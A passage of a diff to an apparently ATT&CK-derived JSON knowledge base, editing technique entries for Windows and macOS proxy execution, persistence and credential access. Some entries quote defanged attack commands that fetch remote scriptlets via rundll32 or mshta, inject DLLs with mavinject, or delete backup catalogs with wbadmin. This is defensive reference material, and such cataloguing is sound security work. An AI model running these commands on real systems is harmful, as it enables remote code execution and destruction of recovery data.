javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)\n\nAdversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll)", "meta": { "external_id": "T1218.011", "kill_chain": [ @@ -28147,7 +25013,6 @@ "https://github.com/gtworek/PSBits/tree/master/NoRunDll", "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/", "https://www.attackify.com/blog/rundll32_execution_order/", - "https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/", "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf" ] }, @@ -28161,7 +25026,7 @@ "value": "Rundll32 - T1218.011" }, { - "description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ", + "description": "Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since it is signed and native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ", "meta": { "external_id": "T1218.012", "kill_chain": [ @@ -28180,7 +25045,7 @@ "https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5", "https://lolbas-project.github.io/lolbas/Binaries/Verclsid/", "https://redcanary.com/blog/verclsid-exe-threat-detection/", - "https://www.winosbite.com/verclsid-exe/" + "https://www.winosbite.com/verclsid-exe/ " ] }, "related": [ @@ -28193,7 +25058,7 @@ "value": "Verclsid - T1218.012" }, { - "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe may be digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)", + "description": "Adversaries may abuse mavinject.exe to proxy execution of malicious code. Mavinject.exe is the Microsoft Application Virtualization Injector, a Windows utility that can inject code into external processes as part of Microsoft Application Virtualization (App-V).(Citation: LOLBAS Mavinject)\n\nAdversaries may abuse mavinject.exe to inject malicious DLLs into running processes (i.e. [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001)), allowing for arbitrary code execution (ex. C:\\Windows\\system32\\mavinject.exe PID /INJECTRUNNING PATH_DLL).(Citation: ATT Lazarus TTP Evolution)(Citation: Reaqta Mavinject) Since mavinject.exe is digitally signed by Microsoft, proxying execution via this method may evade detection by security products because the execution is masked under a legitimate process. \n\nIn addition to [Dynamic-link Library Injection](https://attack.mitre.org/techniques/T1055/001), Mavinject.exe can also be abused to perform import descriptor injection via its /HMODULE command-line parameter (ex. mavinject.exe PID /HMODULE=BASE_ADDRESS PATH_DLL ORDINAL_NUMBER). This command would inject an import table entry consisting of the specified DLL into the module at the given base address.(Citation: Mavinject Functionality Deconstructed)", "meta": { "external_id": "T1218.013", "kill_chain": [ @@ -28224,7 +25089,7 @@ "value": "Mavinject - T1218.013" }, { - "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)", + "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console, or MMC, is a signed Windows binary and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)", "meta": { "external_id": "T1218.014", "kill_chain": [ @@ -28247,7 +25112,7 @@ "https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm", "https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/", "https://www.ghacks.net/2017/06/10/windows-msc-files-overview/", - "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection" + "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection " ] }, "related": [ @@ -28297,38 +25162,6 @@ "uuid": "ffeb0780-356e-4261-b036-cfb6bd234335", "value": "COR_PROFILER - T1574.012" }, - { - "description": "Adversaries may abuse the KernelCallbackTable of a process to hijack its execution flow in order to run their own payloads.(Citation: Lazarus APT January 2022)(Citation: FinFisher exposed ) The KernelCallbackTable can be found in the Process Environment Block (PEB) and is initialized to an array of graphic functions available to a GUI process once user32.dll is loaded.(Citation: Windows Process Injection KernelCallbackTable)\n\nAn adversary may hijack the execution flow of a process using the KernelCallbackTable by replacing an original callback function with a malicious payload. Modifying callback functions can be achieved in various ways involving related behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) or [Process Injection](https://attack.mitre.org/techniques/T1055) into another process.\n\nA pointer to the memory address of the KernelCallbackTable can be obtained by locating the PEB (ex: via a call to the NtQueryInformationProcess() [Native API](https://attack.mitre.org/techniques/T1106) function).(Citation: NtQueryInformationProcess) Once the pointer is located, the KernelCallbackTable can be duplicated, and a function in the table (e.g., fnCOPYDATA) set to the address of a malicious payload (ex: via WriteProcessMemory()). The PEB is then updated with the new address of the table. Once the tampered function is invoked, the malicious payload will be triggered.(Citation: Lazarus APT January 2022)\n\nThe tampered function is typically invoked using a Windows message. After the process is hijacked and malicious code is executed, the KernelCallbackTable may also be restored to its original state by the rest of the malicious payload.(Citation: Lazarus APT January 2022) Use of the KernelCallbackTable to hijack execution flow may evade detection from security products since the execution can be masked under a legitimate process.", - "meta": { - "external_id": "T1574.013", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation", - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Process: OS API Execution" - ], - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1574/013", - "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", - "https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntqueryinformationprocess", - "https://modexp.wordpress.com/2019/05/25/windows-injection-finspy/", - "https://www.microsoft.com/security/blog/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" - ] - }, - "related": [ - { - "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", - "type": "subtechnique-of" - } - ], - "uuid": "a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", - "value": "KernelCallbackTable - T1574.013" - }, { "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.", "meta": { @@ -28366,12 +25199,6 @@ "description": "During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).", "meta": { "external_id": "T1163", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1163", "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", @@ -28394,13 +25221,6 @@ "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)", "meta": { "external_id": "T1121", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1121", "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", @@ -28457,7 +25277,6 @@ ], "mitre_data_sources": [ "Drive: Drive Modification", - "File: File Modification", "Firmware: Firmware Modification" ], "mitre_platforms": [ @@ -28481,20 +25300,13 @@ "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)", "meta": { "external_id": "T1170", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/", "https://attack.mitre.org/techniques/T1170", "https://en.wikipedia.org/wiki/HTML_Application", "https://lolbas-project.github.io/lolbas/Binaries/Mshta/", "https://msdn.microsoft.com/library/ms536471.aspx", - "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf", + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html", "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/" @@ -28516,12 +25328,6 @@ "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)", "meta": { "external_id": "T1180", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1180", "https://en.wikipedia.org/wiki/Screensaver", @@ -28544,13 +25350,6 @@ "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)", "meta": { "external_id": "T1085", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1085", "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/", @@ -28595,12 +25394,6 @@ "description": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)", "meta": { "external_id": "T1208", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://adsecurity.org/?p=2293", "https://attack.mitre.org/techniques/T1208", @@ -28688,13 +25481,6 @@ "description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.", "meta": { "external_id": "T1067", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux", - "Windows" - ], "refs": [ "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion", "https://attack.mitre.org/techniques/T1067", @@ -28717,12 +25503,6 @@ "description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)", "meta": { "external_id": "T1086", - "kill_chain": [ - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf", "http://www.sixdub.net/?p=367", @@ -28751,14 +25531,6 @@ "description": "Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)", "meta": { "external_id": "T1099", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "Windows", - "macOS" - ], "refs": [ "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html", "https://attack.mitre.org/techniques/T1099" @@ -28780,13 +25552,6 @@ "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)", "meta": { "external_id": "T1117", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1117", "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", @@ -28811,13 +25576,6 @@ "description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)", "meta": { "external_id": "T1118", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1118", "https://lolbas-project.github.io/lolbas/Binaries/Installutil/", @@ -28840,13 +25598,6 @@ "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", "meta": { "external_id": "T1191", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", "https://attack.mitre.org/techniques/T1191", @@ -28873,12 +25624,6 @@ "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.", "meta": { "external_id": "T1142", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", "https://attack.mitre.org/techniques/T1142", @@ -28901,14 +25646,6 @@ "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.", "meta": { "external_id": "T1152", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1152", "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" @@ -28949,14 +25686,6 @@ "description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)", "meta": { "external_id": "T1154", - "kill_chain": [ - "mitre-attack:execution", - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1154", "https://bash.cyberciti.biz/guide/Trap_statement", @@ -28979,13 +25708,6 @@ "description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.", "meta": { "external_id": "CAPEC-13", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1148", "https://capec.mitre.org/data/definitions/13.html" @@ -29004,7 +25726,7 @@ "value": "HISTCONTROL - T1148" }, { - "description": "Adversaries may modify visual content available internally or externally to an enterprise 